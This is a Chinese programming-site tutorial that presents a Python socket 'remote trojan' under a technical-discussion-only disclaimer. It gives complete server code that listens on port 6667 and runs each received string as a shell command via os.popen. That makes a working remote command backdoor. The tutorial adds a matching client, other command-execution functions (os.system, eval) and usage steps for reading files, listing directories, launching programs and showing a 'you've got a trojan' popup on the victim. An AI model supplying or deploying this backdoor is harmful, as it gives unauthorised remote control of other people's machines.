程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

基於Python實現socket遠程木馬

編輯:Python

基於Python實現socket遠程木馬

嚴正聲明:本文僅限於技術討論,嚴禁用於其他用途。

基礎知識

  • socket通信模塊:針對TCP/IP協議簇進行的程序封裝,在Windows/Linux均有這樣底層模塊。
  • Unicode 有多種存儲方式,常見的有 UTF-8、UTF-16、UTF-32,它們分別用不同的二進制格式來表示 Unicode 字符
  • 如果全部英文或英文與其他文字混合,但英文占絕大部分,用UTF-8就比UTF-16節省了很多空間.而如果全部是中文這樣類似的字符或者混合字符中中文占絕大多數.UTF-16就占優勢了,可以節省很多空間

編碼:

  • 英文多:建議用UTF-8編碼(utf-8是使用最多的編碼方式,是一種變長字符編碼)

  • 中文多:建議用UTF-16編碼

  • 中文:window中文采用的是GBK格式編碼

netstat -ant :只顯示傳輸層的數據 TCP,UDP連接,可以用來檢查socket服務是否起了

服務端(server)程序

import socket, os
def attack():
try:
s = socket.socket()
s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有設備均可訪問該服務器的6667端口
s.listen() # 對6667端口進行監聽
chanel, client = s.accept() # 進入阻塞狀態,accept() 返回元組,接受來自客戶端的數據,chanel:新的socket對象用於標識出服務器和哪個客戶端連接進行通信, client: 客戶端的IP和端口
while True:
receive = chanel.recv(1024).decode()
reply = os.popen(receive).read()
chanel.send(f"命令{
receive}的運行結果:\n{
reply}".encode())
except:
s.close()
attack()
if __name__ == '__main__':
attack()

客戶端(client)程序

import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667)) #192.168.137.1是socket服務器的地址
while True:
sendstr = input("請輸入消息:")
s.send(sendstr.encode())
receive = s.recv(1024).decode()
print(f"服務器回復:{
receive}")
# s.close()

其他命令執行函數:

提示:需要導入 os 模塊—— import os

os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 將字符串按照Python代碼來執行

該木馬程序的基本用法

1、查看文件內容

window

type 文件絕對路徑

linux

cat 文件路徑

2、查看文件目錄

window

dir #查看當前文件路徑目錄
dir 文件路徑 #查看指定文件路徑目錄

linux

ls #查看當前文件路徑目錄
ll #查看當前文件路徑目錄詳細信息
ls 文件路徑 #查看指定文件路徑目錄
ll 文件路徑 #查看指定文件路徑目錄詳細信息

3、創建文件或目錄

windows

echo test >> demo.txt #創建一個demo.txt文件,文件內容為 test

linux

mkdir 路徑 #創建目錄
echo test >> demo.txt #創建一個demo.txt文件,文件內容為 test

4、調用windows應用程序

調用計算器

calc.exe

調用其他引用程序

直接輸入應用程序絕對路徑

5、調用Windows彈窗

echo msgbox("你中木馬了!!") > E:\hi.vbs
E:\hi.vbs

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved